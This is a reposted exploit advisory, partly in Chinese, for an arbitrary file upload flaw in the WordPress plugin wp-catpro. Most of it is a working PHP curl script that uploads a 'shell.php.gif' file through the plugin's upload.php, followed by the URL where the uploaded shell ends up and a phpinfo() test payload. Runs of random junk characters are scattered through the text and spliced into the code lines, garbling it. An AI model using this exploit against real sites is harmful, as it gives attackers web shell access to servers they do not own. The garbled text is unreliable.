WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------
7 Z8 N* r' J) G- B5 M# R
作者  => Zikou-16
邮箱 => zikou16x@gmail.com
& K1 j7 i- n4 J6 F. m$ z+ O9 o测试系统 : Windows 7 , Backtrack 5r3
. |/ N* T, Z4 u  a) v下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
6 B" c7 S) [5 P( h" e####

" ^: |: L; O) r#=> Exploit 信息:
------------------
# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
9 ~# y9 [# r, [# a4 _1 c# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
) ]6 ]' w) ?/ L! k
: j/ F9 l' P5 C6 L0 j4 |/ Q#=> Exploit
-----------
<?php

$uploadfile="zik.php.gif";
( q. k) B! q# P0 j7 T$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
, M, N5 ~+ t2 w9 m* A$ Harray('Filedata'=>"@$uploadfile",
1 z& |) E8 q' C5 m'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
! y/ V! X. u: v" j6 Y2 Q# t/ Z, ]8 M4 fcurl_close($ch);
" {4 p9 Y2 l& O8 f! A0 E! e, @
print "$postResult";

Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
1 l; x; V9 r1 K3 U  ?>
<?php
$ H7 e0 {$ `- r8 k( z. Sphpinfo();
+ q4 N. `6 \5 P/ v- |! e?>